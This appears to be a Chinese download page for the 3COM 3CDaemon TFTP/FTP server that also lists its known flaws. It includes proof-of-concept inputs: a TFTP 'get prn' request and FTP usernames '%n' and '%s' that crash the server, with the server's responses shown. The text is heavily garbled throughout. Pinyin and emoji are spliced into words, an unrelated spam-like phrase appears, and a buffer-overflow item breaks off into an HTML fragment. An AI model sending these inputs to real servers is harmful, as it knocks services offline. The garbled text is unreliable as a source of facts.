3COM 3CDaemon(TFTP软件)

3COM 3CDaemon是一款多重服务器功能集成【néng jí chéng】软件，主要作📬用于服【yòng yú fú】务器中，同时还能够帮❕助用户改善相【gǎi shàn xiàng】关的电【guān de diàn】🏁脑功能🚯，需要的用户快🐧来国语【lái guó yǔ】🥤自产精品视频在线看【zài xiàn kàn】🥥下载吧【xià zǎi ba】！

3COM 3CDaemon软件简介：

3com的这款东西还是很有名很不错滴~~~3CDaemon是一款【shì yī kuǎn】🙌免费的【miǎn fèi de】🕦集成了【jí chéng le】TFTP、FTP和SYSLOG功能的应用程序【xù】；作用于FTP,TFTP,SYSLOG服务器🏉，TFTP客户端【kè hù duān】🔵，虽然还📱存在很多的问【duō de wèn】💬题🛹，但是使用起来还是不错的【cuò de】！

3COM 3CDaemon问题详解：

1、TFTP保留设备名拒绝服务攻击

提交类似如下的请求【de qǐng qiú】，可导致🔤TFTP服务程序挂起【xù guà qǐ】🐓：

D:\WINDOWS\system32>tftp -i 192.168.0.1 get prn

The 3CDaemon will be crashed with some msgs like

"Microsoft Visual C++ Runtime library"

"Runtime Error!"

"Program : C:\Program Files\3Com\3CDaemon\3CDaemon.exe "

"abnormal program termination".

2、FTP用户名存在格式串问题

提交包含格式【hán gé shì】🚑串字符【chuàn zì fú】作为用🌿户名数据👽，可导致守护程【shǒu hù chéng】序崩溃：

H:\>ftp 192.168.0.1

Connected to 192.168.0.1.

220 3Com 3CDaemon FTP Server Version 2.0

User (192.168.0.1:(none)): %n

Connection closed by remote host.

OR:

H:\>ftp 192.168.0.1

Connected to 192.168.0.1.

220 3Com 3CDaemon FTP Server Version 2.0

User (192.168.0.1:(none)): %s

331 User name ok, need password

Password:[anythinghere]

530 Login access denied

Login failed.

ftp>

3、FTP超长用户名缓冲区溢出

由于对用户名🤗缺少正【quē shǎo zhèng】确边界🧀缓冲区【huǎn chōng qū】检查【jiǎn chá】💘，提交超长用户【zhǎng yòng hù】名🤗可导致缓冲🧑区溢出：

D/k/visio/" target="_blank">vision 10